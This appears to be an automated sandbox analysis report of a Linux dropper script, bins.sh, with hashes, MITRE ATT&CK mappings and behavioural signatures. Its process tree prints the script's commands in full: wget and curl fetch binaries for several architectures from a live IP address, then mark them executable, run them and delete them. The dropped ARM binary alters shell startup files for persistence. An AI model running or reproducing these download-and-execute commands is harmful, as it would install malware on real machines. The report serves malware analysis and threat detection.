a5602dae7c1e216851e295865023239476ed76677abf46ec7626a17cd2ae29b4

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/06/2026, 03:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260628-dvgrmsez7m
SHA256 a5602dae7c1e216851e295865023239476ed76677abf46ec7626a17cd2ae29b4
MD5 c01a85d1da1db0e10f0a896b801c575c
SHA1 6c82ad6b7fcada2ec49b37322a80766b2bab0833
SHA512 abfedd7dbb2a8defe86bdc5767556aaa406ad16dd47a8dc9010fcc0d3fd9f88c892d05447a7545fd938a2fea787db3638c829ba36f262002d74c3c2b135245d0
TLSH
T1E141E39B227080B3840FDE69FB5491D1E18A47E2B5A3CFF8B46D446B009D26CB5B2E30
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
759	chmod
766	chmod
776	chmod
782	chmod
789	chmod
798	chmod
805	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	760	bins.sh
/tmp/x86	767	bins.sh
/tmp/i386	777	bins.sh
/tmp/i386	783	bins.sh
/tmp/amd64	790	bins.sh
/tmp/amd64	799	bins.sh
/tmp/arm	806	bins.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	arm
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	arm

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/cgroup	arm
File opened for reading	/proc/self/mountinfo	arm
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/stat	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:657
- /usr/bin/wget
  wget http://91.92.40.63:5001/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:660
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/x86
  ./x86
  2⤵
  PID:760
- /bin/rm
  rm -f x86
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://91.92.40.63:5001/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/x86
  ./x86
  2⤵
  PID:767
- /bin/rm
  rm -f x86
  2⤵
  PID:769
- /usr/bin/wget
  wget http://91.92.40.63:5001/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/i386
  ./i386
  2⤵
  PID:777
- /bin/rm
  rm -f i386
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://91.92.40.63:5001/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/i386
  ./i386
  2⤵
  PID:783
- /bin/rm
  rm -f i386
  2⤵
  PID:785
- /usr/bin/wget
  wget http://91.92.40.63:5001/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/amd64
  ./amd64
  2⤵
  PID:790
- /bin/rm
  rm -f amd64
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://91.92.40.63:5001/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/amd64
  ./amd64
  2⤵
  PID:799
- /bin/rm
  rm -f amd64
  2⤵
  PID:801
- /usr/bin/wget
  wget http://91.92.40.63:5001/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:806

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 5.7MB
SHA256 ddcb3ddec77d47804ea560d2ac6459925d85236a52854fd7106653c41128e49f
MD5 00041b0fdcd7183256e416330bc817b7
SHA1 7ab01ed50c56fca004cdaf6ba0a3b700f2917249
SHA512 23e18912c60bc3ba657fda823ad0d0fb1c8677b5ec815ad3202158b5ca7ec3758420fd8221a61342ec36a4cb4a5b43f9bb69aef313d7cc7e9a9795ba69f3cc72
SSDEEP 49152:sRDGf29AEbeaAz1hlTAKVPnGC5Wl1sWpPWCtRL631FvECCviNNB/KlK1KcJJH5E7:sR1910cPWsePfJhJzE7
TLSH
T139564A17ECA555E9C0AED2308A62A553BB71BC492B3163D32B50F3382F77BD06A79344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 5.6MB
SHA256 546c20af1d14d8f69618c0d3a1696b0815a1b0cec1a3c351f516a66cb781cfe1
MD5 8832c06e718636543f9dc53351bf879e
SHA1 aeca31304360380b5080736cd3af5e45c924f720
SHA512 4a52cbc3ff6d7855bc8d8fb83d7d5e6c3d6623a8f9ec0761f2b8a08233d21dc6f4dc06a38886cfaf877cefe069da0204592333ea1e506fd4123e9f1149ab122d
SSDEEP 49152:EoxUbdGOZ4v5FC5HTuDgDvGQO3qqnul5Ev:zxUbdz4v5f6GP3qWwEv
TLSH
T12F461897B9D25983C4E43A7BA8BE80C433634EB99B8712565D14FE383EBE1D90E35344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 5.5MB
SHA256 db11e9ffefc70af6f51b4ffd4c0d127d0dd075667b62a48c095a211c4364c41d
MD5 fadb789df82b02628d28583f149e9b5a
SHA1 3d0920ed4a294a1147903233bef23007d8201320
SHA512 5372bfb77321d2761e5da676086689957aa679c799466390c63b20fa1d7968bf8d641e8801ef01e81898136f6aaea757d69b22d4cc8bbffcdd5fd2cd52758a8a
SSDEEP 49152:+m4AV7kST2vASSXumIYTtWXdVyi67JrcwxG2tahapP4WZDvFwfk8aCI5Ek:+qkST2fSAYTtIdVyz7u2jAW5Ek
TLSH
T197461711FECB14F6E9031E3108BBA26F63355D058B24EBD7EB407E69F97B6911932209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads